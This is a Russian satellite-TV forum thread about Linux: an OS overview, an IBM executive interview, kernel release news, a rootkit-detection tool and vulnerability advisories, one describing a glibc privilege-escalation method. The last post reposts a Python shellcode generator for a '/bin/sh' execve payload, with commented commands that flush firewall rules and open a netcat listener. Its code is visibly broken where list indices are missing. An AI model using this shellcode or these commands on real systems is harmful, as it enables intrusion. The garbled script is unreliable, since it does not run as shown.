DOMICA Team

:: Блог - Спутниковое телевидение :: :: ВКонтакте - Спутниковое телевидение:: :: Одноклассники - Спутниковое телевидение:: :: FACEBOOK - Спутниковое телевидение::

Автор Тема: Linux  (Прочитано 11237 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Kires

  • Глобальный модератор
  • Оффлайн

  • *
  • Сообщений: 1 088
  • Country: 00
  • Статус: +6085/-1
  • Пол: Мужской
  • Mой ресивер: D-800HD
  • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
Linux
« : 11 июня 2008, 20:07:52 »
  • Nikname of reply

  •                      О Linux
     
     Linux - свободно распространяемое ядро Unix-подобной системы, написанное Linus Torvalds при помощи большого числа добровольцев по всей Сети. Linux обладает всеми свойствами современной Unix-системы, включая настоящую многозадачность, развитую подсистему управления памятью и сетевую подсистему. Ядро Linux, поставляемое вместе с свободно распространяемыми прикладными и системными программами образует полнофункциональную универсальную операционную систему. Большую часть базовых системных компонент Linux унаследовал от проекта GNU, целью которого является создание свободной микроядерной операционной системы с лицом Unix. На сегодняшний день существует множество различных поставок Linux, ''дистрибутивов'', которые можно разделить на дистрибутивы общего назначения и специализированные. К специализированным дистрибутивам относятся такие как LinuxRouter - урезанная поставка Linux для создания дешевого маршрутизатора на базе старого PC и др. Несмотря на различия в дистрибутивах общего назначения, все они образуют лицо ОС Linux такой, какой ее знают большинство пользователей ОС. В отличие от ядра, дистрибутивы могут содержать коммерческие компоненты, и потому их свободное распространение может быть ограниченно. В таком случае авторы дистрибутива делают доступными все свободные компоненты. Обычно под словосочетанием "ОС Linux" понимают дистрибутивы Linux общего назначения.

    Kires

    • Глобальный модератор
    • Оффлайн

    • *
    • Сообщений: 1 088
    • Country: 00
    • Статус: +6085/-1
    • Пол: Мужской
    • Mой ресивер: D-800HD
    • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
    Re: Linux
    « Ответ #1 : 12 июня 2008, 02:01:49 »
  • Nikname of reply

  •                                  Обзор возможностей Linux

       Переносимость
     Большая часть ядра Linux написана на языке Си, благодаря чему система достаточно легко переносится на различные аппаратные архитектуры. Сегодня офицальное ядро Linux работает на платформе Intel (начиная с i386), Compaq (ex. Digital) Alpha, Motorolla 68k, MIPS, PowerPC, Sparc, Sparc64, StrongArm, Intel Italium (IA-64). Кроме того, существует много портов Linux, распространяемых отдельно от официального ядра. Ядро Linux способно работать на многопроцессорных SMP системах, обеспечивая эффективное использование всех процессоров. Поддержка архитектуры NUMA находится в стадии разработки.

     Разработчики Linux стараются соблюдать стандарты POSIX и Open Group, обеспечивая тем самым переносимость ПО с другими Unix-платформами.
       
       Сетевая подсистема
     TCP/IP стек в Linux соответствует всем стандартам и по многим своим возможностям превосходит реализацию TCP/IP в других ОС. Поддержка TCP/IP включает в себя продвинутую маршрутизацию (policy routing, QoS and Fair Quering), traffic shaping, пакетную фильтрацию (firewalling), multicasting, поддержку "прозрачного" прокси, masquerading, тунелинг, aliasing и др. Кроме IPv4, в ядро Linux входит экспериментальная поддержка IPv6.

     Поддерживается большинство существующих сетевых устройств: Ethernet адаптеров (10/100Mbit, 1000Mbit, радиокарт), SLIP/PPP, FDDI, HIPPI, Frame Relay, Token Ring, WAN адаптеры и др. Linux содержит подсистемы поддержки AX.25 и ISDN.

       Файловая система
     Основной файловой системой Linux является его собственная журналируемая ext3fs. Официальное ядро содержит поддержку более 20 различных файловых систем, включая FAT (FAT/VFAT/FAT32), ISO9660 (CDROM), HPFS (OS/2), NTFS (WindowsNT), SysV (SCO Unix и др.), UFS (BSD и др.).

     В стадии разработки находятся файловые системы: ext4fs, RaiserFS (быстрая журналирующая файловая система). SGI и IBM занимаются разработкой поддержки своих журналирующих файловых систем XFS (из Irix) и JFS (из AIX) соответственно.

       Средства разработки приложений
     Большинство средств разработки для Linux сегодня были созданы в рамках проекта GNU. Они включает в себя GCC - Gnu Compiler Colection - универсальный переносимый компилятор, GDB - Gnu Debuger - отладчик, GNU C Library и др. Компилятор GCC создавался максимально переносимым, благодаря чему он поддерживает около 100 различных аппаратных платформ. Язык описания платформы хорошо документирован, благодаря чему перенос GCC на новую архитектуру не составляет особой проблемы. "Сверху" GCC представляет собой компилятор языков Си (KR C, ANSI C, C9x и собственные расширения), C++ (ANSI C++, STL), Objective C, Fortran 77, Effiel. Последние версии GCC содержат также компилятор языка Java в машиннозависимые коды. Отдельно от GCC распространяются компиляторы Ada95 и Pascal, использующие gcc для генерации кода. Для Linux также существуют интерпретаторы Lisp, Scheme и других Lisp-подобных языков, скриптовых языков Perl, AWK, Shell, Sed и др.

     Существуют средства поддержки ведения проекта и контроля версий (CVS), группа пакетов, облегчающих написание переносимых программ: autoconf, automake, libtool и др.; различные IDE.

     Компания IBM перенесла на Linux свою среду разработки Java приложений - IBM VisualAge for Java на Linux. Inprise (Borland) сообщила о своих планах переноса Delphi и C++ Builder.

       ПО для серверов Internet/Intranet
     Стандартно в поставку Linux входят: Apache - самый популярный в Internet http-сервер; Sendmail - программа передачи электронной почты (Mail Transfer Agent), ftp, pop3/imap, news серверы, сервер доменых имен, uucp over tcpip, squid (кеширующий http/ftp прокси), средства динамической маршрутизации и др.

       Файл-сервер
     Linux может служить файл-сервером по протоколам NFS (как правило используемом только на Unix машинах), SMB (Netbios over TCP/IP, используемый на различных Windows платформах), FTP (File Transfer Protocol, один из наиболее распространённых протоколов передачи файлов по сети), AppleShare и IPX (Novell).

       Middleware
     Существует несколько свободных реализаций архитектуры OMG CORBA.

       Графический интерфейс
     Linux использует стандартную оконную систему X. В большинстве дистрибутивов используется свободно распространяемая реализация X'ов - Xorg. Xorg поддерживает (почти) все популярные графические адаптеры на платформе Intel и некоторых других. Оконная система X построена на клиент-серверной архитектуре, таким образом место запуска приложения и место его отображения могут быть физически разнесены по сети.

     Средства разработки под X, входящие в стандарт, представляют только базовый API разработчика. Как правило при разработке приложений используют дополнительные библиотеки для построения интерфейса. Набор интегрированных базовых приложений, построенных на одной библиотеке образует графическую среду пользователя. Наиболее популярные графические среды сегодня - Gnome (GNU Network Object Model Environment) и KDE.

       СУБД
     Основные производители систем управления базами данных уже перенесли свои продукты на Linux: существуют Linux версии MySQL, PostgreSQL, IBM DB2, Informix, Oracle, Sybase, Firebird и др. Linux может использоваться в качестве платформы для запуска системы управления предприятием SAP R/3.

       Средства подготовки текстов
     В дистрибутивах Linux обычно поставляется какая-либо реализация TeX - системы верстки текстов типографического качества, созданной американским математиком и программистом Дональдом Кнутом (Donald E. Knuth). Система TeX и макропакет высокого уровня LaTeX сегодня используются для публикации научных статей, журналов и книг.

     SGML Tools: средства трансформации структурированного по правилам SGML текста в LaTeX, HTML, GNU info, LyX, RTF, plain text и другие форматы из одного исходного текста, ориентированные на создание технической документации.

       Офисные пакеты
     Наиболее популярным является кросплатформенный офисный пакет OpenOffice.org (OOo). Для оконных сред KDE и GNOME разрабатываются свои версии офисных пакетов: KOffice и GnomeOffice. Кроме них доступны коммерческие офисные пакеты от многих фирм.

       Игры
     Производители компьютерных игр уже обратили свое внимание на Linux. Уже вышли Linux версии Doom, Doom2, Doom3, Heretic, Descent, Quake, Quake II, Quake III, Quake IV, Enemy Territory: Quake Wars, Unreal, Myth II, Civilisation III Ctp, Serious Sam 2 и многие другие.

     Linux может служить сервером для игр QuakeWorld, QuakeII, QuakeIII, Unreal и др.
    источник: Извините, но гости не могут просматривать ссылки. Регистрация или Логин

    Kires

    • Глобальный модератор
    • Оффлайн

    • *
    • Сообщений: 1 088
    • Country: 00
    • Статус: +6085/-1
    • Пол: Мужской
    • Mой ресивер: D-800HD
    • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
    Re: Linux
    « Ответ #2 : 20 ноября 2008, 12:52:05 »
  • Nikname of reply

  •                               Мнение директора IBM о Linux

     Принято считать, что программное обеспечение с открытым кодом обладает как минимум одним преимуществом: оно бесплатно...
     Действительность сложнее... Linux, операционная система с открытым кодом, в руках IBM представляет собой инструмент конкурентной борьбы с Windows. Платить за использование Linux придется, и не факт, что это будет дешевле, чем платить за Windows.


     - Свободный софт сегодня - уже не принципиально новая концепция разработки программного обеспечения, противостоящая рынку, а лишь еще один инструмент конкурентной борьбы IT-компаний. Linux не так уж и бесплатен, а исходные коды Windows не так уж и закрыты.

     - Linux так быстро развивался в последние десять лет, что вокруг этой операционной системы из устаревших сведений о ней сложилось очень много мифов. Linux появился как система на краю вычислительного центра. Бесплатная, простая, не очень надежная, не очень серьезная. А потом Linux очень быстро развивался, и через пять-шесть лет такого развития Linux стал фактически стандартом, по крайней мере, во многих западных странах, в таких областях, как web-серверы и серверы приложения. Но всё равно многие продолжают думать, что Linux предпочитают потому, что он бесплатный.

     Основная польза от Linux не в том, что он бесплатный. При равных стоимостях Linux и UNIX или Linux и Windows, или Linux и Mac OS (операционная система компании Apple – Ред.) будут ситуации, когда Linux даст заказчику больше.

     Последние несколько лет мы наблюдаем то, что аналитики часто называют "Linux третьего поколения". Это когда Linux начинают использовать для приложений, которые критичны для бизнеса. Я вам приведу пример. У нас очень много заказчиков, например, как Baldor Electric (крупнейший поставщик индустриального электрооборудования – Ред.), у которых вся IT-инфраструктура и все бизнес-приложения сидят на Linux. У них много заводов, у них есть продажи в 40 странах. Всё их производство — планирование, отслеживание от материалов до производства, и потом отслеживание продукции при помощи RFID-меток (чипы, позволяющие дистанционное считывание хранимой в них информации – Ред.) вплоть до продаж — все это "сидит" на Linuxе, на мэйнфрейме. Это серьезная система, ее нельзя выключить на полдня. Понятно, что Linux их интересовал не потому, что он был бесплатный. Любая система такого уровня — это большие затраты.

     Они выбрали Linux по другим причинам. До этого работали на UNIX и на Windows, у них была более сложная, разрозненная система. И они всё консолидировали на Linux, потому что они решили, что Linux — это их стратегическое видение будущего. Выбирали, где идет наибольшее развитие, где наиболее быстро идут инновации, где больше народу работает. Ведь над каждой версией ядра Linux работает более 1000 производителей. Linux выпускает несколько новых версий ядра в год.

     Поскольку Baldor Electric используют Linux на мэйнфрейме, они могут использовать возможности виртуализации и защиты данных, которые им дает железо мэйнфрейма, но при этом оставаться на Linux. Они купили новую компанию, очень большую, и им нужно было очень быстро нарастить мощность системы. Они это сделали, не выключая системы.

     Понятно, что Linux, который позволяет делать такое, сильно отличается от Linux, который 10 лет назад был бесплатным принт-сервером где-то на краю вычислительного центра.

     В некоторых случаях Linux позволяет выиграть финансово, потому что основной упор переносится с цены приобретения на цену сопровождения. Сейчас сложно получить большие инвестиции, а Linux дает возможность финансировать развитие IT-инфраструктуры по ходу работы бизнеса, работы компании, — это часто дает плюсы. Но по большому счету, это не самый важный момент, ради одного этого выбирать операционную систему было бы неверно.

     Linux дает возможность, во-первых, быть независимым от одного поставщика. Linux работает на "железе" всех крупных производителей. Он поддерживается всеми серверами IBM, всеми серверами наших конкурентов. Есть возможность выбирать, что будет лучше на рынке в данный момент, и при этом не менять своей системы приложений, своих знаний, своей системы администрации. Во-вторых, очень многие компании используют "политику двух производителей". Им это позволяет улучшить цену, заставить поставщиков IT-систем конкурировать. Тем самым общим знаменателем, который позволит работать с разным "железом", с разным сервисом, но в рамках одной операционной системы, опять-таки является Linux.
     - Госструктуры любят Linux именно по причине бесплатности, разве нет?

     Судите сами. В США строят эсминцы, использующие Linux для боевого управления. В частности, для управления ракетами. Используется технология, которая есть у Linux, но которой нет у Windows и других систем, и которая позволяет добиться фиксированного времени исполнения процессов. При управлении ракетой в режиме реального времени это критично важно. Эти же возможности Linux, между прочим, в финансовом мире используют для торговли акциями, когда нужно закрыть сделку в ограниченное время. Еще для государственных заказчиков важно, что, выбирая Linux, они меньше зависят от конкретной компании.

     Китай тоже работает на Linux’е, дистрибутив которого называется Red Flag. 30% рынка эта система имеет за счет именно государственного сектора Китая.
     - Раз Linux так хорош, почему IBM продолжает выпускать собственные операционные системы?

     Когда меня спрашивают, всегда ли заказчику лучше Linux, мой ответ: нет. Есть ситуации, когда заказчику лучше работать на системе одного производителя. Дело в том, что операционная система AIX всегда будет лучше оптимизирован под IBM Power, Solaris всегда будет лучше оптимизирован под Sun Sparc просто потому, что они принадлежат одному производителю.

     С Linux не так. Там сообщество разработчиков решает, какие изменения могут быть приняты, а какие нет. Мы, или, например, Hewlett-Packard можем инициировать те или иные предложения по разработке ядра операционной системы, но мы не можем влиять на то, будут ли они приняты.
     - А Windows?

     Windows – это не система одного производителя. Windows оптимизирована под архитектуру Intel и AMD. Есть ситуации, когда у заказчика написаны большие приложения под Windows, когда его разработчики и системные администраторы обычно работают с Windows. И если заказчик не выигрывает ничего от перехода на Linux либо по стоимости, либо по функциональности, то процесс перехода совершенно ни к чему.

     Бывают ситуации, однако, когда заказчик выигрывает. Иногда выигрывают на настольных компьютерах – за счет как раз цены. Иногда выигрывают за счет того, что, перейдя на Linux, они могут использовать различное железо: и не только x86, но и добавить, скажем, Power-архитектуру или добавить в ту же систему мэйнфрейм, или добавить еще что-то — и получить более серьезную систему в целом. Иногда они выигрывают потому, что они могут получить функциональность Linux, которой нет у Windows. Задачи реального времени – хороший пример. Очень редкий случай, но бывает и такое – Linux дает выигрыш в защите данных. Дело в том, что Linux сегодня обладает самой высокой степенью сертификации.

     Мне кажется, что вот этим исчерпываются основные моменты, которые выявляются при сравнении  Windows и Linux.

     Является система открытой или закрытой – для одних заказчиков это более важно, для других – менее. Сегодня мир не такой черно-белый, какой он был пять-шесть лет назад. Сегодня появляется очень много разных моделей бизнеса. Софт может быть платным, но при этом с открытым кодом. Он может быть бесплатным, но деньги при этом делаются на поддержке проектов с открытым кодом. Как правило, наши крупные заказчики (а многих из них я спрашивала об этом) выбирают софт прежде всего по функциональности, защите данных, уровню поддержки. Является ли продукт открытым, им неважно.
                          :smoke: :s-domica:)
     

    Kires

    • Глобальный модератор
    • Оффлайн

    • *
    • Сообщений: 1 088
    • Country: 00
    • Статус: +6085/-1
    • Пол: Мужской
    • Mой ресивер: D-800HD
    • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
    Re: Linux
    « Ответ #3 : 20 ноября 2008, 12:54:35 »
  • Nikname of reply

  •  - Программисты, разрабатывающие софт для Windows, зарабатывают больше.

     - Если можно, я уточню вопрос. Вы говорите о разработчиках, которые работают за зарплату, или о независимых предпринимателях? Второе – это довольно редкий вариант в большинстве стран. В большинстве стран всё-таки разработчики — это люди, которые наняты компаниями. И тут неважно, на какой платформе человек разрабатывает софт.

     Вопрос о заработке сводится к тому, можно ли сделать деньги на открытом софте, в чем тут особенности, и кому это удается, а кому – нет.

     Открытый софт находится в открытом доступе. Он есть у всех. Можно ли делать деньги на том, что есть у всех? Вряд ли. В тех случаях, когда компания научилась извлекать прибыль, используя открытый софт, она всегда привносит что-то дополнительное, чего нет у других. Это может быть обслуживание продуктов, их упаковывание. Red Hat и Novell делают на этом очень успешный бизнес, вместе у них 91% мирового рынка дистрибутивов Linux. Но на рынке есть место для считанного числа таких компаний. В России, кстати, это рынок очень фрагментирован, и поэтому ни один из его участников не может набрать достаточного числа заказчиков.

     Другой вариант – дополнительное программное обеспечение, которое не находится в открытом доступе. Это – модель IBM. У нас нет дистрибутива Linux и нет намерения его делать, но мы продаем "железо", на котором работает Linux, и программные продукты, которые работают на Linux. У нас более 500 таких продуктов, и код большинства из них закрыт. Мы получаем деньги с наших собственных технологий. Точно такой же моделью пользуются наши конкуренты – Hewlett-Packard, Dell. Мы, как и HP, являемся членами платинового уровня в Linux Foundation (некоммерческая организация, цель которой состоит в содействии развитию Linux – Ред.). Мы вместе внocим свою лепту в развитие Linux, но конкурируем на рынке оборудования, работающего под Linux.
     - Не получается так, что такие крупные игроки, как HP и IBM, начинают использовать свое влияние на процесс разработки Linux?

     Ваши израильские коллеги сформулировали тот же вопрос иначе. Они спросили: разве вы не можете позвонить Линусу (Линус Торвальдс – первый разработчик ядра Linux, ныне работает в Linux Foundation – Ред.) и сказать, чтобы ваши изменения он обязательно включил? Ответ: нет. По двум причинам. Во-первых, мы не сомневаемся в этической целостности Линуса и его команды. Любому, кто лично знает Линуса и историю Linux, ясно, что если мы станем вести себя как слон в посудной лавке, все коммьюнити разработчиков Linux соберется и уйдет в другую лавку. Во-вторых, и это главное, мы не заинтересованы в такой тактике. Тогда мы потеряем главное преимущество Linux, то, что он максимально оптимизирован для всех платформ. Если нам не нравится, как Linux оптимизирован для нашей платформы, у нас есть прекрасный случай оптимизировать собственную операционную систему и продавать свой сервер не с Linux, а с AIX. Посмотрите, что происходит с проектом Open Solaris. Он устроен точно так же, как и разработка Linux. Там тоже есть коммьюнити, но ключевые позиции в нем занимают люди из Sun. А к такому проекту трудно привлечь лучшие умы.
     - Рынок операционных систем – более не рынок IBM? Ну, если не считать операционных систем для ваших мэйнфремов.

     - Не соглашусь. Мы – лидеры рынка UNIX-систем, и наша доля на нем растет.
     - Увлечение IBM нанотехнологиями – что это? Диверсификация бизнеса, постепенный отход от IT?

     - У нас есть нетрадиционные для IBM области бизнеса, но они опосредованно связаны с основным бизнесом. Главное, что IBM может сделать для заказчика – это инновации в бизнесе через экспертизу и инновации в технологиях. Задача не только в том, чтобы удовлетворить ваши сегодняшние потребности в вычислительной мощности. Например, энергосбережение. Сегодня вычислительные центры производят 2% всей углекислоты, которую создает деятельность человека. Это сопоставимо с авиацией, и это реальная опасность. Мы помогаем заказчикам снизить энергопотребление. Например, "зеленые" вычислительные центры. У нас был заказчик, желавший разместить вычислительный центр в здании старой церкви. Как разместить оборудование, чтобы не пострадал внешний облик здания? Как быть с интерьером? Конечно, это работа проектировщика, но без нашей экспертизы не обойтись. Как видите, есть области бизнеса, которые кажутся не связанными с высокими технологиями. Однако так только кажется. Или взять системы виртуализации. Иногда они нужны потому, что нельзя поставить еще один физический сервер, потому что энергетическая компания не может обеспечить здание дополнительной энергией.
     - Сравните, пожалуйста, рынок в России с другими странами, в которых вы работаете.

     - Продажи серверов с Linux сегодня – это примерно треть продаж серверов с Windows. Но скорость роста для Linux – 10% в год, а для Windows – 6% в год. Рынок UNIX почти стабилен – рост от 0% до 3% в зависимости от года. В России эти цифры очень отличаются от мировых, и этого нет ни в какой другой стране. Огромный рост UNIX – около 30% в год. Потом идет Windows, и только потом – Linux. Это в корне отличается от мировых тенденций. Почему? Я могу лишь порассуждать на эту тему. Думаю, причина в пиратстве. Очень долго Windows, а не Linux в России была бесплатной операционной системой. Несколько лет назад это в корне изменилось, и компании стали платить за лицензии Windows. Ведь не так просто отказаться от привычной системы. Время Linux настанет позже.
     - Год? Полтора? Два-три?

     - В России по целому ряду причин сроки внедрения проектов отличаются от стандартных сроков в Германии, Америке, Англии по скорости принятия решений, получению финансирования, доступности кредитов, общей ситуации. Не возьмусь судить. Нет статистики.
     - Отсюда я делаю вывод, что в России проекты идут медленнее.

     - Думаю, да. Но в России многие проекты очень большого размера, это тоже надо принять во внимание. Просто в силу того, что страна очень велика.

     Другой момент – использование Linux для критичных для бизнеса приложений, как это делается, например, в Baldor Electric, Volkswagen, GAP. В России такого не вижу. И совершенно нет Linux для настольных компьютеров, хотя в мире это стало проявляться – не скажу как тенденция, но как явление. Сейчас меняется само понятие "десктоп". Настольную машину во многих случаях заменяет карманное устройство, например, а внутри у многих из них – Linux. С этим меняется и представление о том, что всякий десктоп обязан иметь Windows-интерфейс.   :smoke: :s-domica:)

    Kires

    • Глобальный модератор
    • Оффлайн

    • *
    • Сообщений: 1 088
    • Country: 00
    • Статус: +6085/-1
    • Пол: Мужской
    • Mой ресивер: D-800HD
    • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
    Re: Linux
    « Ответ #4 : 28 декабря 2008, 22:35:03 »
  • Nikname of reply

  •                                              Стал доступен Linux 2.6.28

     Известная операционная система Linux, как стало известно сегодня MegaObzor.com обновила свое ядро. Релиз ядра довольно интересный, удалось сделать многое из запланированного.

     Детально проработана каждая строка кода. Новое ядро Linux придется по вкусу многим пользователям ПК. Это пятый выпуск Linux в текущем году, нынешняя версия имеет номер 2.6.28.



     По сообщению разработчиков, в Linux 2.6.28 реализовано «большое количество дополнений, улучшений и нововведений». Прежде всего следует выделить завершенную поддержку журналируемой файловой системы Ext4, получившей статус «стабильной». Авторы усовершенствовали инструменты виртуализации и добавили поддержку технологии беспроводной связи Wireless USB, позволяющей передавать данные со скоростью до 480 Мбит/с на расстояние до трех метров.

     Другим важным нововведением в ядре Linux 2.6.28 стали улучшенные средства управления видеопамятью, благодаря которым повышается производительность при работе с графикой. Дальнейшим усовершенствованиям подверглись инструменты управления питанием, что положительно отразилось на расходе энергии. Это особенно важно в тех случаях, когда речь идет о работе портативных устройств, запитываемых аккумуляторами.
                                    :smoke: :s-domica:)

    Kires

    • Глобальный модератор
    • Оффлайн

    • *
    • Сообщений: 1 088
    • Country: 00
    • Статус: +6085/-1
    • Пол: Мужской
    • Mой ресивер: D-800HD
    • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
    Linux
    « Ответ #5 : 19 февраля 2009, 15:43:25 »
  • Nikname of reply

  •                                                                                         Unhide

     Утилита для обнаружения скрытых процессов и закамуфлированных TCP/UDP портов, созданных в результате активности руткитов или враждебных модулей Linux ядра. Для обнаружения скрытых процессов используется сверка содержимого /proc с выводом команды ps и данными полученными через системные вызовы. Кроме того, реализован режим обнаружения скрытых сетевых портов и процессов через полный тестовый перебор всех портов и PID номеров.


     ОС: Unix Тип программы: Аудит безопасности

      Скачать можно здесь: Извините, но гости не могут просматривать ссылки. Регистрация или Логин   :smoke: :smiley:         

    Kires

    • Глобальный модератор
    • Оффлайн

    • *
    • Сообщений: 1 088
    • Country: 00
    • Статус: +6085/-1
    • Пол: Мужской
    • Mой ресивер: D-800HD
    • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
    Linux
    « Ответ #6 : 08 декабря 2009, 14:37:38 »
  • Nikname of reply

  •                                    Множественные уязвимости в ядре Linux

     Программа: Linux kernel версии до 2.6.32

     Опасность: Низкая

     Наличие эксплоита: Нет

     Описание:
     Обнаруженные уязвимости позволяют удаленному пользователю вызвать отказ в обслуживании и повысить свои привилегии на системе.

     1. Уязвимость существует из-за ошибки в функции kvm_vcpu_ioctl_x86_setup_mce() в файле arch/x86/kvm/x86.c. Локальный пользователь может с помощью специально сформированного KVM_X86_SETUP_MCE IOCTL запроса вызвать повреждение памяти и выполнить произвольный код на системе с повышенными привилегиями.

     2. Уязвимость существует из-за ошибки в функции ieee80211_sta_stop_rx_ba_session() в файле net/mac80211/agg-rx.c. Удаленный пользователь может вызвать отказ в обслуживании системы.

     3. Уязвимость существует из-за ошибки состояния операции в подсистеме mac80211 при обработке delBA фреймов. Злоумышленник может вызвать панику ядра системы. Уязвимость распространяется только на HT драйвера.

     URL производителя: Извините, но гости не могут просматривать ссылки. Регистрация или Логин

     Решение: Установите последнюю версию 2.6.32 с сайта производителя.
     Источник: Извините, но гости не могут просматривать ссылки. Регистрация или Логин    buba.gif

    Kires

    • Глобальный модератор
    • Оффлайн

    • *
    • Сообщений: 1 088
    • Country: 00
    • Статус: +6085/-1
    • Пол: Мужской
    • Mой ресивер: D-800HD
    • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
    Linux
    « Ответ #7 : 24 октября 2010, 16:41:46 »
  • Nikname of reply

  •                                                     В Glibc обнаружена серьезная уязвимость
     В системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов. Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Debian, Ubuntu. Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. :smoke:

    Iteka

    • Гость
    Вышла новая версия ядра Linux 3.0
    « Ответ #8 : 14 августа 2011, 12:25:56 »
  • Nikname of reply

  •  На kernel.org были загружены архивы с новой крупной версией ядра свободной операционной системы — Linux 3.0.

     Напомним, что резкий «скачок» в версии ядра Linux — с 2.6.39 до 3.0 — вовсе не обусловлен радикальными изменениями (API и ABI остались прежними). Просто Линус Торвальдс решил, что «40» — слишком большое число для третьей позиции в номере версии (даже несмотря на приятную для многих близость к заветному «42»). Кроме того, за время релизов 2.6.x (и, тем более, 2.x) в ядре было зафиксировано огромное количество модификаций и нововведений, а на носу 20-летие ядра. На том и порешили, не откладывая в долгий ящик и превратив «Linux 2.6.40» в «Linux 3.0».

     Среди изменений в Linux 3.0 можно выделить:
    поддержка Xen dom0 включена в основную ветвь ядра (теперь обычное ядро можно использовать в качестве хост-системы);
    системный вызов sendmmsg(), заменяющий множество sendmsg(), — по аналогии с recvmmsg() для recvmsg(), представленным в 2.6.33;
    автоматическая дефрагментация и «зачистка» («scrubbing» — проверка целостности данных) в файловой системе btrfs;
    Cleancache — система в стиле memcached для страниц кэш-памяти;
    JIT-фильтрация (just-in-time) для Berkeley Packet Filter;
    поддержка Wake on WLAN;
    возможность отправлять ping-запросы (ICMP_ECHO) и получать ответы (ICMP_ECHOREPLY) без особых привилегий, как это сделано в Mac OS X (в Linux по умолчанию отключено);
    системный вызов setns() для работы с пространствами имен;
    поддержка монтирования Windows 2008 DFS-разделов в CIFS;
    поддержка устройства Microsoft Kinect.

    Kires

    • Глобальный модератор
    • Оффлайн

    • *
    • Сообщений: 1 088
    • Country: 00
    • Статус: +6085/-1
    • Пол: Мужской
    • Mой ресивер: D-800HD
    • Антенны: 53Е,56Е,58Е,75Е,80Е,90Е,96E. 1,1-1,3-1,5-1,8м
    Linux/x64 - x64 Assembly Shellcode (Generator)
    « Ответ #9 : 15 апреля 2018, 10:38:10 »
  • Nikname of reply

  •                                                     Linux/x64 - x64 Assembly Shellcode (Generator)

    Свойства
    Дата публикации:     12.04.2018
    Цель:    Linux/x64
    Тип воздействия:    Компрометация системы

    Код
    #!/usr/bin/env python
    #
    # Features:
    #   - Linux shellcode x64 assembly code generation
    #   - stack based (smaller payload size)
    #   - execve based
    #   - supports long commands (meaning bigger than an x64 register - 64 bits)
    #   - supports long parameters (meaning bigger than an x64 register - 64 bits)
    #   - one command only (execve will alter the current memory proc and when it exits there's no continuation)
    #   - supports command with up to 8 parameters
    #
    # Instructions
    #   - requires full path to the command
    #   - only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
    #   - after having the x64 generated assembly code:
    #       - copy paste it into a file (in a Linux environment) - example.nasm
    #       - execute:
    #           nasm -felf64 example.nasm -o example.o && ld example.o -o example
    #
    # Author: Andre Lima @0x4ndr3
    #   Извините, но гости не могут просматривать ссылки. Регистрация или Логин
    #
    ########
     
    command = "/bin/sh"
    #command = "/sbin/iptables -F INPUT"
    #command = "/bin/nc -lvp 3000"
    #command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"
     
    def tohex(val, nbits):
        return hex((val + (1 << nbits)) % (1 << nbits))
     
    code = ""
    code += "global _start\n"
    code += "section .text\n"
    code += "\n"
    code += "_start:\n"
    code += "push 59\n"
    code += "pop rax\n"
    code += "cdq\n"
    code += "push rdx\n"
     
    params = command.split(' ')
    try:
        params.remove('') # in case of multiple spaces in between params in the command - cleanup
    except: # it throws an exception if it doesn't finds one
        pass
     
    if len(params[0]) % 8 != 0:
        command = "/"*(8-len(params[0])%8) + params[0]
     
    iters = len(command)/8 - 1
    while iters >= 0:
        block = command[iters*8:iters*8+8]
        code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
        code += "push rbx\n"
        iters -= 1
     
    code += "push rsp\n"
    code += "pop rdi\n"
     
    aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
    i = 0
    params = params[1:] # remove first element - command itself. we just want the params
    if len(params) > len(aux_regs):
        print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
        exit(1)
    for p in params:
        code += "push rdx\n"
        if len(p) % 8 != 0:
            p += "\x00"*(8-len(p)%8)
        iters = len(p)/8 -1
        while iters >= 0: # each param
            block = p[iters*8:iters*8+8]
            code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
            code += "not rbx\n"
            code += "push rbx\n"
            iters -= 1
        code += "push rsp\n"
        code += "pop " + aux_regs + "\n"
        i += 1
     
    code += "push rdx\n"
    code += "push rsp\n"
    code += "pop rdx\n"
     
    while i>0:
        i -= 1
        code += "push " + aux_regs + "\n"
     
    code += "push rdi\n"
    code += "push rsp\n"
    code += "pop rsi\n"
    code += "syscall\n"
     
    print code
    Подробнее: Извините, но гости не могут просматривать ссылки. Регистрация или Логин

     

    :: спутниковые ресиверы ::